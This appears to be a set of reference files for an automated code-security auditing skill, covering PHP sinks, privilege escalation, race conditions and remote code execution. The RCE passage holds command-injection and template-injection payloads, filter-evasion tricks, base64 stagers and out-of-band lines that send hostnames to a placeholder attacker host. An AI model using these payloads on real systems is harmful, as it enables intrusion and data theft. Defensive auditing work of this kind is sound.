- `ClassLoader.getResourceAsStream(userInput)` → **CONFIRM** (classpath file disclosure)
- In benchmark mode, use project tag `path_traversal` for vulhub representative dirs even when the primitive is local file inclusion or path traversal.
- FALSE POSITIVE guard: do not keep `path_traversal_lfi_rfi` as the reported tag for `vulhub`.

## references/php_security.md

---
name: php_security
description: PHP-specific vulnerability detection — dangerous functions, type juggling, file inclusion, object injection, framework sinks, and configuration weaknesses
---

# PHP Security

PHP has numerous language-specific vulnerability patterns beyond the common OWASP categories. This reference covers PHP-specific sinks, type juggling exploits, object injection via `unserialize()`, dynamic code execution, dangerous configuration settings, and framework-specific patterns (Laravel, Symfony, CodeIgniter, WordPress).

## CWE Classification

- **CWE-78**: OS Command Injection
- **CWE-94**: Code Injection
- **CWE-502**: Deserialization of Untrusted Data
- **CWE-22**: Path Traversal
- **CWE-843**: Type Confusion (via type juggling)

## PHP Dangerous Function Sinks

### Code/Command Execution Sinks

```php
// CRITICAL: any user input reaching these functions
eval($_GET['code']);
eval('$var = ' . $_POST['value'] . ';');
assert($_GET['assertion']);                    // PHP < 8: assert() can execute code strings
preg_replace('/' . $_GET['pattern'] . '/e', $_GET['replacement'], $subject);  // /e modifier (PHP < 7)

exec($_GET['cmd'], $output);
system($_GET['cmd']);
passthru($_GET['cmd']);
shell_exec($_GET['cmd']);
`{$_GET['cmd']}`;                             // backtick operator
popen($_GET['cmd'], 'r');
proc_open($_GET['cmd'], $desc, $pipes);

// VULN indicator: user-controlled variable reaching any of the above
```

### Dynamic Include / Require

```php
// VULNERABLE: LFI / RFI via dynamic include
include($_GET['page']);
require($_GET['page']);
include_once($_GET['template']);
require_once($_GET['module']);

// VULNERABLE: with partial control (may still be LFI)
include('templates/' . $_GET['theme'] . '.php');
include($_GET['lang'] . '/messages.php');
// Bypasses: null byte (%00 in PHP < 5.3.4), wrappers (php://filter, zip://)

// VULN indicator: any $_GET/$_POST/$_COOKIE/$_REQUEST in include/require argument
```

### File Operations

```php
// VULNERABLE: path traversal in file ops
file_get_contents($_GET['file']);
file_put_contents($_GET['file'], $data);
readfile($_GET['path']);
fopen($_GET['filename'], 'r');
copy($_FILES['upload']['tmp_name'], $_GET['destination']);

// VULNERABLE: SSRF via file_get_contents with URL
$data = file_get_contents($_GET['url']);    // supports http://, ftp://
```

## PHP Type Juggling Vulnerabilities

### Loose Comparison (`==`) Exploits

```php
// VULNERABLE: loose comparison with magic hash values
$token = md5($user_input);
if ($token == "0") { ... }         // any MD5 starting with "0e" + digits == 0 in PHP
if ($token == 0) { ... }           // "0e..." == 0 is TRUE

// VULNERABLE: authentication bypass via type juggling
$hash = hash('md5', $_POST['password']);
if ($hash == $_SESSION['stored_hash']) {  // "0e..." == "0e..." even if different
    // authenticated
}

// VULNERABLE: JSON type confusion
$data = json_decode($_POST['data']);
if ($data->token == $expected_token) {    // if $data->token is integer 0 and $expected_token is "0e..."
    // bypass
}

// SAFE: use strict === comparison
if ($hash === $expected_hash) { ... }
```

**Magic hash values** (MD5 hashes starting with `0e` + digits):
- `240610708` → MD5 = `0e462097431906509019562988736854`
- `QNKCDZO` → MD5 = `0e830400451993494058024219903391`
- `s878926199a` → SHA1 = `0e545993274517709034328855841020`

### Type Juggling in Switch/in_array

```php
// VULNERABLE: in_array without strict mode
$roles = ['admin', 'user', 'guest'];
if (in_array($_POST['role'], $roles)) { ... }
// Attacker sends role=0 → in_array(0, ['admin','user','guest']) === TRUE (0 == 'admin' in loose mode)

// SAFE:
if (in_array($_POST['role'], $roles, true)) { ... }  // third param true = strict

// VULNERABLE: switch uses loose comparison
switch ($_GET['status']) {
    case 1: grantAdmin(); break;    // status=true or status="1abc" may match
}
```

## PHP Object Injection (Deserialization)

```php
// VULNERABLE: unserialize() on user-controlled input
$data = unserialize($_COOKIE['user']);
$obj = unserialize(base64_decode($_GET['data']));
$obj = unserialize(file_get_contents($_POST['serialized_file']));

// IMPACT: If the application has classes with __wakeup(), __destruct(),
//         __toString() magic methods that perform dangerous operations:
class FileLogger {
    public $logFile;
    public function __destruct() {
        file_put_contents($this->logFile, "destroyed");  // arbitrary file write
    }
}
// Attacker crafts: O:10:"FileLogger":1:{s:7:"logFile";s:15:"/var/www/evil.php";}

// VULN indicator: unserialize() accepting any $_GET/$_POST/$_COOKIE/$_REQUEST/$_SERVER data
// ALSO check: __wakeup, __destruct, __toString magic methods doing file/exec/eval operations
```

## PHP Framework-Specific Patterns

### Laravel

```php
// VULNERABLE: raw query with user input (SQL injection)
DB::select("SELECT * FROM users WHERE name = '" . $request->name . "'");
DB::statement("DELETE FROM logs WHERE id = " . $request->id);

// VULNERABLE: Mass assignment without $guarded/$fillable protection
User::create($request->all());             // if $fillable not defined, all fields assignable
// Attacker can set is_admin=1 if no $guarded = ['is_admin']

// VULNERABLE: Blade template with raw output (XSS)
{!! $user_input !!}                        // unescaped output
// SAFE:
{{ $user_input }}                          // escaped by default

// VULNERABLE: deserialization in cookie/session (HMAC bypass not considered)
// Laravel signed cookies use app key — if app key is leaked, cookie forgery enables deserialization

// VULNERABLE: eval in Blade custom directives
Blade::directive('inject', function ($expression) {
    return "<?php eval({$expression}); ?>";   // dangerous custom directive
});
```

### Symfony

```php
// VULNERABLE: createQuery with user-controlled DQL
$query = $em->createQuery("SELECT u FROM User u WHERE u.name = '" . $_GET['name'] . "'");
// SAFE: use setParameter()
$query = $em->createQuery('SELECT u FROM User u WHERE u.name = :name')
            ->setParameter('name', $_GET['name']);

// VULNERABLE: Symfony YAML unsafe parsing
$data = Yaml::parse($userInput, Yaml::PARSE_OBJECT);
// SAFE: Yaml::parse($userInput) — no PARSE_OBJECT flag
```

### WordPress

```php
// VULNERABLE: direct DB query without $wpdb->prepare()
$results = $wpdb->get_results("SELECT * FROM {$wpdb->posts} WHERE post_title = '" . $_GET['title'] . "'");
// SAFE:
$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->posts} WHERE post_title = %s", $_GET['title']));

// VULNERABLE: add_action with eval (plugin code injection)
add_action('wp_ajax_run_code', function() {
    eval($_POST['code']);   // arbitrary PHP execution
});

// VULNERABLE: update_option with unvalidated user data
update_option('admin_email', $_POST['email']);  // may allow option injection

// VULNERABLE: file path construction from request
$template = get_template_directory() . '/' . $_GET['template'] . '.php';
include($template);   // path traversal in template param
```

### CodeIgniter

```php
// VULNERABLE: direct query without query builder
$this->db->query("SELECT * FROM users WHERE id = " . $this->input->get('id'));
// SAFE: use query bindings
$this->db->query("SELECT * FROM users WHERE id = ?", [$this->input->get('id')]);
```

## PHP Configuration Weaknesses (php.ini)

| Setting | Dangerous Value | Risk |
|---------|----------------|------|
| `allow_url_include` | `On` | RFI via include/require with http:// URLs |
| `allow_url_fopen` | `On` | SSRF via file_get_contents on URLs |
| `display_errors` | `On` in production | Information disclosure (paths, DB errors) |
| `register_globals` | `On` (PHP < 5.4) | Variable injection — `$_GET` populates globals |
| `magic_quotes_gpc` | off + no escaping | SQL injection facilitated |
| `session.use_strict_mode` | `0` | Session fixation attacks |
| `disable_functions` | missing exec/system | OS command execution enabled |

## PHP Superglobal Sources

All of the following are attacker-controlled sources:
- `$_GET['x']`, `$_POST['x']`, `$_COOKIE['x']`, `$_REQUEST['x']`
- `$_FILES['x']['name']`, `$_FILES['x']['type']` (MIME type — client-controlled)
- `$_SERVER['HTTP_HOST']`, `$_SERVER['HTTP_REFERER']`, `$_SERVER['HTTP_USER_AGENT']`
- `$_SERVER['QUERY_STRING']`, `$_SERVER['REQUEST_URI']`, `$_SERVER['PHP_SELF']`
- `getallheaders()`, `apache_request_headers()`
- `file_get_contents('php://input')`, `fopen('php://input', 'r')`

**Note**: `$_SERVER['PHP_SELF']` is often used in HTML forms and is XSS-injectable.

## PHP-Specific Detection Rules

### TRUE POSITIVE

- `eval(` + any superglobal or user-derived variable → **CONFIRM** (RCE)
- `include/require` + `$_GET/$_POST/$_COOKIE` → **CONFIRM** (LFI / RFI)
- `unserialize(` + superglobal or decoded cookie → **CONFIRM** + check for magic method gadgets
- `==` (loose) comparison in authentication/token validation → **CONFIRM** (type juggling bypass)
- `in_array($input, $list)` without `true` third argument in access control → **CONFIRM** (type juggling)
- `exec/system/passthru/shell_exec(` + user input → **CONFIRM** (OS command injection)
- `file_get_contents($_GET['url'])` or similar → **CONFIRM** (SSRF or LFI)
- `DB::select("...'" . $request->x . "'...")` in Laravel → **CONFIRM** (SQL injection)

### FALSE POSITIVE

- `unserialize()` used exclusively on server-generated, HMAC-signed data where the signature is validated *before* unserialize
- `include` with `basename()` applied to user input AND only static extension appended AND `allow_url_include=Off`
- `eval()` inside a template engine's own codebase (e.g., Smarty's compiled templates) — not a direct user-input path

## references/privilege_escalation.md

---
name: privilege_escalation
description: Detect broken access control issues including vertical privilege escalation, role bypass, missing authorization checks on privileged endpoints.
---

# Privilege Escalation / Broken Access Control

Broken access control arises when an application fails to enforce that users may only perform the actions and access the data they are explicitly authorized for. Three distinct failure modes are covered here:
- **Vertical escalation**: a regular user successfully executes operations reserved for administrators.
- **Horizontal escalation**: a user reaches another user's data by manipulating object identifiers.
- **Role bypass**: the role or permission level originates from client-supplied input and is accepted by the server without independent verification.

## Vulnerable Conditions

- A privileged operation (admin action, data modification, or sensitive read) executes without confirming the requesting user holds the necessary role or permission.
- Role or admin status is read directly from client-supplied input — such as a request body field, query parameter, or cookie — without a corresponding server-side lookup.

## Safe Patterns

- The endpoint is decorated with `@login_required`, `@admin_required`, or `@permission_required('...')`.
- The code calls `check_permission(user, action)`, `user.has_perm(...)`, or explicitly branches on `if not user.is_admin: abort(403)`.
- RBAC middleware is registered at the router or framework level and executes before the handler is reached.

---

## Python Source Detection Rules

### Flask missing decorators
- **VULN**: Admin route with no `@login_required` or role check:
  ```python
  @app.route('/admin/delete_user', methods=['POST'])
  def delete_user():
      user_id = request.form['user_id']
      User.query.filter_by(id=user_id).delete()
  ```
- **VULN**: `@app.route('/admin/...')` handler body has no `current_user.is_admin` check or `abort(403)`

### Client-supplied role
- **VULN**: `role = request.json.get('role')` then used to set permissions without server-side validation
- **VULN**: `user.role = request.form['role']` — role assigned directly from form input
- **VULN**: `is_admin = request.args.get('admin', False)` — admin flag from query string
- **SAFE**: Role fetched from database using authenticated user's ID: `user = db.query(User).get(current_user.id)`

### Django missing permission checks
- **VULN**: View missing `@permission_required` or `@staff_member_required` for admin operations
- **VULN**: `if request.user.is_authenticated:` only (no `is_staff` or `is_superuser` check) for admin action
- **SAFE**: `@permission_required('app.delete_user')`, `@staff_member_required`

### Horizontal → vertical escalation
- **VULN**: Only `user_id` validated, not ownership or role:
  ```python
  target_user = User.query.get(request.form['target_id'])
  target_user.is_admin = True
  ```

---

## JavaScript Source Detection Rules

### Express missing middleware
- **VULN**: Admin router/route without `isAdmin` or `requireRole` middleware:
  ```js
  app.delete('/admin/users/:id', (req, res) => { /* no auth check */ })
  ```
- **VULN**: Route handler reads role from request: `const role = req.body.role` then grants access
- **SAFE**: `router.use('/admin', requireAdmin)` — middleware applied to entire admin namespace

### JWT claims from client
- **VULN**: `const isAdmin = req.body.isAdmin` — client claims admin status
- **VULN**: `if (decoded.role === 'admin')` where `decoded` comes from untrusted token with unverified signature
- **SAFE**: Role read from verified JWT with fixed algorithm and server-side secret

### MongoDB / Mongoose
- **VULN**: `User.findByIdAndUpdate(req.body.userId, { role: req.body.role })` — role from client
- **SAFE**: Server looks up requesting user's role from DB before allowing the update

---

## PHP Source Detection Rules

### Session-based role bypass
- **VULN**: `$_SESSION['role'] = $_POST['role']` — session role set from POST without server validation
- **VULN**: `$_SESSION['is_admin'] = $_GET['admin']` — admin flag from query string
- **SAFE**: Role set only after DB lookup: `$_SESSION['role'] = $user['role']` from database query

### Missing authorization checks
- **VULN**: Admin function with no `checkAdmin()` or session role check:
  ```php
  function deleteUser($id) {
      $db->query("DELETE FROM users WHERE id = ?", [$id]);
  }
  ```
- **VULN**: `if ($_SESSION['logged_in'])` only — no role/admin check for privileged action

### Laravel / Symfony
- **VULN**: Route or controller method missing `middleware('admin')` or `$this->authorize(...)`
- **SAFE**: `$this->authorize('delete', $user)`, `Gate::allows('admin')`, `middleware('can:manage-users')`

---

## IDOR → Privilege Escalation Chain

Privilege escalation often occurs when an IDOR vulnerability allows accessing a higher-privileged user's resources or actions. Flag `privilege_escalation` in addition to `idor` when:

```python
# VULNERABLE: IDOR on user ID allows accessing admin account data
@app.route('/api/users/<int:user_id>/profile')
def get_profile(user_id):
    user = User.query.get(user_id)
    return jsonify(user.to_dict())   # no ownership check — accessing user_id=1 (admin) reveals admin data
# privilege_escalation: if admin profile contains credentials, tokens, or admin-only data
```

```java
// VULNERABLE: IDOR on account allows horizontal → vertical escalation
@GetMapping("/accounts/{accountId}/details")
public AccountDetails getDetails(@PathVariable Long accountId) {
    return accountService.findById(accountId);   // no principal ownership check
    // If accountId=1 is admin → returns admin details → privilege escalation
}
```

## Role/Permission Parameter Tampering

```python
# VULNERABLE: role passed in request body and trusted without server validation
@app.route('/register', methods=['POST'])
def register():
    data = request.json
    user = User(
        username=data['username'],
        password=hash_password(data['password']),
        role=data.get('role', 'user')   # attacker supplies role='admin'
    )
    db.session.add(user)
```

```java
// VULNERABLE: user-controlled role assignment
@PostMapping("/api/users")
public User createUser(@RequestBody UserDTO dto) {
    User user = new User();
    user.setUsername(dto.getUsername());
    user.setRole(dto.getRole());   // role comes from request body — attacker supplies "ADMIN"
    return userRepository.save(user);
}
```

```js
// VULNERABLE: mass assignment allows role escalation in Node.js
app.put('/api/users/:id', authenticate, (req, res) => {
    User.findByIdAndUpdate(req.params.id, req.body, ...)   // req.body may include {role: 'admin'}
});
```

## JWT Claim Manipulation → Privilege Escalation

```python
# VULNERABLE: JWT payload trusted without server-side role validation
@app.route('/admin')
def admin_panel():
    token = request.headers.get('Authorization').split(' ')[1]
    payload = jwt.decode(token, SECRET, algorithms=['HS256'])
    if payload.get('role') == 'admin':    # role from JWT — if JWT forgeable, escalation possible
        return render_admin()

# VULNERABLE: alg=none bypass or weak secret → attacker forges JWT with role=admin
```

## Missing Function-Level Access Control

```python
# VULNERABLE: admin endpoints without role verification
@app.route('/admin/users')
@login_required    # only checks logged in, not admin role
def list_all_users():
    return jsonify([u.to_dict() for u in User.query.all()])

# SAFE:
@app.route('/admin/users')
@login_required
@requires_role('admin')
def list_all_users():
    ...
```

```java
// VULNERABLE: admin endpoint protected only by URL pattern, not method-level check
@GetMapping("/admin/deleteUser/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id) {
    // No @PreAuthorize, no role check — any authenticated user can reach this
    userRepository.deleteById(id);
    return ResponseEntity.ok().build();
}

// SAFE: method-level security
@PreAuthorize("hasRole('ADMIN')")
@GetMapping("/admin/deleteUser/{id}")
public ResponseEntity<?> deleteUser(@PathVariable Long id) { ... }
```

## Insecure Direct Reference to Privileged Operations

```php
// VULNERABLE: action parameter determines privileged operation
$action = $_GET['action'];
if ($action === 'deleteUser') {
    // No admin check — any user can trigger admin actions by guessing action names
    delete_user($_GET['user_id']);
}

// VULNERABLE: hidden admin toggle via parameter
if ($_POST['is_admin'] == '1') {
    $user->setAdmin(true);   // client-side field controls server-side privilege
}
```

## Detection Rules

### TRUE POSITIVE: Privilege Escalation

- IDOR on user/account objects where accessing another user's record reveals elevated capabilities or admin account details → **CONFIRM** (`idor` + `privilege_escalation`)
- `role` or `is_admin` field accepted from request body/params without server-side authority validation → **CONFIRM**
- Admin endpoint reachable by any authenticated user (missing `@PreAuthorize`, `@Secured`, role decorator) → **CONFIRM**
- JWT with role claim where the role is trusted from the token payload without server-side cross-check → **CONFIRM** (especially if JWT secret is weak/default)
- Mass assignment (`req.body` or `request.json` passed directly to ORM update) where `role`/`admin` fields are not excluded → **CONFIRM**

### FALSE POSITIVE: Not Privilege Escalation

- IDOR on non-sensitive data where all users have equal access (e.g., public posts, product listings) — **IDOR** only, not `privilege_escalation`
- Role check present but insufficiently strict (e.g., checks for any authenticated user) — flag as broken access control / `idor`, not `privilege_escalation` unless admin-level actions are reachable
- Admin role correctly enforced via `@PreAuthorize("hasRole('ADMIN')")` or equivalent — **SAFE**
- Reflection- or command-dispatch flaws such as dynamic `Class.forName(... + command + ...)` are not `privilege_escalation` by themselves; keep `unsafe_reflection` or `command_injection` unless the code also reaches an admin-only action or changes roles or permissions.
- `authentication`, `idor`, or generic broken-access-control findings should only be upgraded to `privilege_escalation` when a lower-privilege user can reach admin-only data, role changes, or privileged operations.
- In `vulhub`, representative Spring Security or auth-bypass CVE directories should preserve `privilege_escalation` when the exploit grants access to protected or admin routes by changing authentication state or bypassing route protection.

## Privilege Escalation as a Secondary / Companion Finding

Privilege escalation is frequently a **consequence** of another primary vulnerability. When analyzing code, always ask: "Does this vulnerability allow a lower-privileged user to gain higher-privileged access?" If yes, tag privilege escalation **in addition to** the primary vulnerability.

### Patterns That Almost Always Imply Privilege Escalation

1. **IDOR on user modification endpoints**: If an IDOR allows changing another user's password, role, or profile — and the target could be an admin — this is IDOR + privilege escalation.
   ```python
   # IDOR + privilege_escalation: change ANY user's password including admin
   @app.route('/change_password', methods=['POST'])
   def change_password():
       user_id = request.form['userId']  # attacker controls userId
       new_pass = request.form['password']
       User.query.get(user_id).password = hash(new_pass)
   ```

2. **JWT with weak/no verification**: If JWT signature is not verified (`verify=False`, `algorithms=['none']`, weak secret like `secret`), an attacker can forge tokens with `role=admin` → privilege escalation.
   ```python
   # jwt + privilege_escalation
   payload = jwt.decode(token, options={"verify_signature": False})
   ```

3. **X-Forwarded-For / X-Real-IP trust for access control**: If the application trusts client-supplied headers to determine admin access (e.g., "if IP == 127.0.0.1 then admin"), the header is spoofable → privilege escalation.
   ```python
   # privilege_escalation via header spoofing
   if request.headers.get('X-Forwarded-For') == '127.0.0.1':
       return admin_panel()
   ```

4. **Mass assignment allowing role/admin field**: When user-submitted form data or JSON directly sets `is_admin`, `role`, or permission fields without server-side filtering.
   ```python
   # privilege_escalation via mass assignment
   user.update(**request.json)  # request.json could include {"is_admin": true}
   ```

5. **Commented-out or missing authorization checks**: When a route handler has authorization logic commented out, deleted, or never implemented — especially on endpoints that modify user roles or access sensitive data.

6. **Session/cookie manipulation for role**: When role or admin status is stored in a client-side cookie (even if encoded/encrypted with weak crypto) and can be tampered with.

7. **Type juggling / loose comparison on auth**: PHP `==` comparisons or `strcmp()` returning NULL on type confusion, bypassing password checks to gain admin access.
   ```php
   // privilege_escalation via type juggling
   if (strcmp($_POST['password'], $admin_password) == 0) { // NULL == 0 is true
       $_SESSION['is_admin'] = true;
   }
   ```

8. **Hardcoded 2FA / verification codes**: When 2FA or verification codes are hardcoded (e.g., `if code == '1234'`), allowing bypass of multi-factor auth to reach admin functions.

### When NOT to Tag Privilege Escalation
- IDOR that only reads non-sensitive, equal-privilege data (e.g., viewing another regular user's public profile)
- Information disclosure that reveals data but does not grant elevated access
- XSS or CSRF alone (unless the XSS/CSRF specifically targets admin functionality)
- Default credentials alone — tag as `default_credentials`; only add `privilege_escalation` if the credentials grant admin-level access AND there is a separate mechanism (not just "login as admin with known password")

## references/race_conditions.md

---
name: race-conditions
description: Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation
---

# Race Conditions

Concurrency bugs enable duplicate state changes, quota bypass, financial abuse, and privilege errors. Treat every read–modify–write and multi-step workflow as adversarially concurrent.

## Where to Look

**Read-Modify-Write**
- Sequences without atomicity or proper locking

**Multi-Step Operations**
- Check → reserve → commit with gaps between phases

**Cross-Service Workflows**
- Sagas, async jobs with eventual consistency

**Rate Limits and Quotas**
- Controls implemented at the edge only

## High-Value Targets

- Payments: auth/capture/refund/void; credits/loyalty points; gift cards
- Coupons/discounts: single-use codes, stacking checks, per-user limits
- Quotas/limits: API usage, inventory reservations, seat counts, vote limits
- Auth flows: password reset/OTP consumption, session minting, device trust
- File/object storage: multi-part finalize, version writes, share-link generation
- Background jobs: export/import create/finalize endpoints; job cancellation/approve
- GraphQL mutations and batch operations; WebSocket actions

## Reconnaissance

### Identify Race Windows

- Look for explicit sequences: "check balance then deduct", "verify coupon then apply", "check inventory then purchase"
- Watch for optimistic concurrency markers: ETag/If-Match, version fields, updatedAt checks
- Examine idempotency-key support: scope (path vs principal), TTL, and persistence (cache vs DB)
- Map cross-service steps: when is state written vs published, what retries/compensations exist

### Signals

- Sequential request fails but parallel succeeds
- Duplicate rows, negative counters, over-issuance, or inconsistent aggregates
- Distinct response shapes/timings for simultaneous vs sequential requests
- Audit logs out of order; multiple 2xx for the same intent; missing or duplicate correlation IDs

## Vulnerability Patterns

### Request Synchronization

- HTTP/2 multiplexing for tight concurrency; send many requests on warmed connections
- Last-byte synchronization: hold requests open and release final byte simultaneously
- Connection warming: pre-establish sessions, cookies, and TLS to remove jitter

### Idempotency and Dedup Bypass

- Reuse the same idempotency key across different principals/paths if scope is inadequate
- Hit the endpoint before the idempotency store is written (cache-before-commit windows)
- App-level dedup drops only the response while side effects (emails/credits) still occur

### Atomicity Gaps

- Lost update: read-modify-write increments without atomic DB statements
- Partial two-phase workflows: success committed before validation completes
- Unique checks done outside a unique index/upsert: create duplicates under load

### Cross-Service Races

- Saga/compensation timing gaps: execute compensation without preventing the original success path
- Eventual consistency windows: act in Service B before Service A's write is visible
- Retry storms: duplicate side effects due to at-least-once delivery without idempotent consumers

### Rate Limits and Quotas

- Per-IP or per-connection enforcement: bypass with multiple IPs/sessions
- Counter updates not atomic or sharded inconsistently; send bursts before counters propagate

### Optimistic Concurrency Evasion

- Omit If-Match/ETag where optional; supply stale versions if server ignores them
- Version fields accepted but not validated across all code paths (e.g., GraphQL vs REST)

### Database Isolation

- Exploit READ COMMITTED/REPEATABLE READ anomalies: phantoms, non-serializable sequences
- Upsert races: use unique indexes with proper ON CONFLICT/UPSERT or exploit naive existence checks
- Lock granularity issues: row vs table; application locks held only in-process

### Distributed Locks

- Redis locks without NX/EX or fencing tokens allow multiple winners
- Locks stored in memory on a single node; bypass by hitting other nodes/regions

## Evasion Patterns

- Distribute across IPs, sessions, and user accounts to evade per-entity throttles
- Switch methods/content-types/endpoints that trigger the same state change via different code paths
- Intentionally trigger timeouts to provoke retries that cause duplicate side effects
- Degrade the target (large payloads, slow endpoints) to widen race windows

## Special Contexts

### GraphQL

- Parallel mutations and batched operations may bypass per-mutation guards
- Ensure resolver-level idempotency and atomicity
- Persisted queries and aliases can hide multiple state changes in one request

### WebSocket

- Per-message authorization and idempotency must hold
- Concurrent emits can create duplicates if only the handshake is checked

### Files and Storage

- Parallel finalize/complete on multi-part uploads can create duplicate or corrupted objects
- Re-use pre-signed URLs concurrently

### Auth Flows

- Concurrent consumption of one-time tokens (reset codes, magic links) to mint multiple sessions
- Verify consume is atomic

## Chaining Attacks

- Race + Business logic: violate invariants (double-refund, limit slicing)
- Race + IDOR: modify or read others' resources before ownership checks complete
- Race + CSRF: trigger parallel actions from a victim to amplify effects
- Race + Caching: stale caches re-serve privileged states after concurrent changes

## Analysis Workflow

1. **Model invariants** - Conservation of value, uniqueness, maximums for each workflow
2. **Identify reads/writes** - Where they occur (service, DB, cache)
3. **Baseline** - Single requests to establish expected behavior
4. **Concurrent requests** - Issue parallel requests with identical inputs; observe deltas
5. **Scale and synchronize** - Ramp up parallelism, use HTTP/2, align timing (last-byte sync)
6. **Cross-channel** - Test across web, API, GraphQL, WebSocket
7. **Confirm durability** - Verify state changes persist and are reproducible

## Confirming a Finding

1. Single request denied; N concurrent requests succeed where only 1 should
2. Durable state change proven (ledger entries, inventory counts, role/flag changes)
3. Reproducible under controlled synchronization (HTTP/2, last-byte sync) across multiple runs
4. Evidence across channels (e.g., REST and GraphQL) if applicable
5. Include before/after state and exact request set used

## Common False Alarms

- Truly idempotent operations with enforced ETag/version checks or unique constraints
- Serializable transactions or correct advisory locks/queues
- Visual-only glitches without durable state change
- Rate limits that reject excess with atomic counters

## Business Risk

- Financial loss (double spend, over-issuance of credits/refunds)
- Policy/limit bypass (quotas, single-use tokens, seat counts)
- Data integrity corruption and audit trail inconsistencies
- Privilege or role errors due to concurrent updates

## Analyst Notes

1. Favor HTTP/2 with warmed connections; add last-byte sync for precision
2. Start small (N=5–20), then scale; too much noise can mask the window
3. Target read–modify–write code paths and endpoints with idempotency keys
4. Compare REST vs GraphQL vs WebSocket; protections often differ
5. Look for cross-service gaps (queues, jobs, webhooks) and retry semantics
6. Check unique constraints and upsert usage; avoid relying on pre-insert checks
7. Use correlation IDs and logs to prove concurrent interleaving
8. Widen windows by adding server load or slow backend dependencies
9. Validate on production-like latency; some races only appear under real load
10. Document minimal, repeatable request sets that demonstrate durable impact

## Core Principle

Concurrency safety is a property of every path that mutates state. If any path lacks atomicity, proper isolation, or idempotency, parallel requests will eventually break invariants.

## Java Source Detection Rules

### TRUE POSITIVE: Spring controller singleton with mutable instance field (CWE-362)
- Spring `@Controller`, `@RestController`, and `@Service` beans are **singleton-scoped by default**. Any mutable instance field written per-request is shared across all concurrent requests.
- Pattern: a field declared at class level (e.g., `User user = new User();`) is written inside a request handler method (`user.setId(...)`, `user.setName(...)`) — CONFIRM as CWE-362.
- The fix is always to use a local variable inside the method, not a class-level field.
- Concurrent requests will interleave writes to the shared field, corrupting data.

### FALSE POSITIVE
- `static final` constants — immutable, not a race condition.
- Fields annotated with `@Autowired`, `@Inject`, or Spring-managed dependencies — these are injected once and are effectively immutable references (though their internal state may still be mutable).
- Fields only read, never written per-request.

## Python/JS/PHP Source Detection Rules

### Python (Flask / Django)
- **VULN**: check-then-act without database-level lock:
  ```python
  balance = db.query(User).get(user_id).balance
  if balance >= amount:
      # race window here
      db.execute("UPDATE users SET balance = balance - ? WHERE id = ?", (amount, user_id))
  ```
- **VULN**: Financial operations without `SELECT FOR UPDATE`
- **VULN**: File operations: `if not os.path.exists(path): open(path, 'w').write(...)`
- **SAFE**: Django `F()` expressions, `select_for_update()`, `@transaction.atomic`

### JavaScript (Node.js)
- **VULN**: async check-then-act without DB-level lock:
  ```js
  const user = await User.findById(id);
  if (user.credits > 0) {
    await User.updateOne({_id: id}, {$inc: {credits: -1}});
  }
  ```
- **SAFE**: MongoDB atomic operators: `User.findOneAndUpdate({_id: id, credits: {$gt: 0}}, {$inc: {credits: -1}})`

### PHP
- **VULN**: `if ($balance >= $amount) { /* no lock */ $balance -= $amount; }`
- **SAFE**: `SELECT ... FOR UPDATE` inside a transaction before modifying balance
- In `JavaSecLab` payment demos, replay/double-submit and delayed balance updates under `logic/pay` should preserve benchmark tag `concurrency` when concurrent interleaving is the intended flaw.
- FALSE POSITIVE guard: do not emit `race_conditions` as a separate tag when the benchmark taxonomy already collapses the same evidence into `concurrency`.

## references/rce.md

---
name: rce
description: RCE testing covering command injection, deserialization, template injection, and code evaluation
---

# RCE

Remote code execution delivers full server control when untrusted input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media processing pipelines, and build or runtime tooling. Prioritize quiet, portable oracles and advance to stable shell access only when the engagement requires it.

## Where to Look

**Command Execution**
- OS command execution through wrappers, system utilities, and CLI invocations

**Dynamic Evaluation**
- Template engines, expression languages, eval/vm constructs

**Deserialization**
- Unsafe deserialization and gadget chains across language ecosystems

**Media Pipelines**
- ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg

**SSRF Chains**
- Internal services exposing execution primitives such as FastCGI and Redis

**Container Escalation**
- Application-level RCE chained to node or cluster compromise via Docker/Kubernetes misconfigurations

## How to Detect

### Time-Based

**Unix**
- `;sleep 1`, `` `sleep 1` ``, `|| sleep 1`
- Gate delays with short subcommands to lower ambient noise

**Windows**
- CMD: `& timeout /t 2 &`, `ping -n 2 127.0.0.1`
- PowerShell: `Start-Sleep -s 2`

### OAST

**DNS**
```bash
nslookup $(whoami).x.attacker.tld
```

**HTTP**
```bash
curl https://attacker.tld/$(hostname)
```

### Output-Based

**Direct**
```bash
;id;uname -a;whoami
```

**Encoded**
```bash
;(id;hostname)|base64
```

## Vulnerability Patterns

### Command Injection

**Delimiters and Operators**
- Unix: `; | || & && `cmd` $(cmd) $() ${IFS}` newline/tab
- Windows: `& | || ^`

**Argument Injection**
- Inject flags or filenames into CLI arguments (e.g., `--output=/tmp/x`, `--config=`)
- Escape quoted segments by alternating quote styles and escape characters
- Environment expansion: `$PATH`, `${HOME}`, command substitution
- Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`

**Path and Builtin Confusion**
- Force absolute paths (`/usr/bin/id`) rather than relying on PATH resolution
- Substitute alternative tools (`printf`, `getent`) when `id` is filtered
- Leverage `sh -c` or `cmd /c` wrappers to reach the underlying shell

**Evasion**
- Whitespace/IFS: `${IFS}`, `$'\t'`, `<`
- Token splitting: `w'h'o'a'm'i`, `w"h"o"a"m"i`
- Variable construction: `a=i;b=d; $a$b`
- Base64 stagers: `echo payload | base64 -d | sh`
- PowerShell: `IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))`

### Template Injection

Identify the server-side template engine in use: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug

**Minimal Probes**
```
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
```

### Deserialization and EL

**Java**
- Gadget chains via CommonsCollections/BeanUtils/Spring
- Tools: ysoserial
- JNDI/LDAP chains (Log4Shell-style) when lookup paths are reachable

**.NET**
- BinaryFormatter/DataContractSerializer
- APIs accepting untrusted ViewState without MAC validation

**PHP**
- `unserialize()` and PHAR metadata deserialization
- Autoloaded gadget chains in frameworks and plugins

**Python/Ruby**
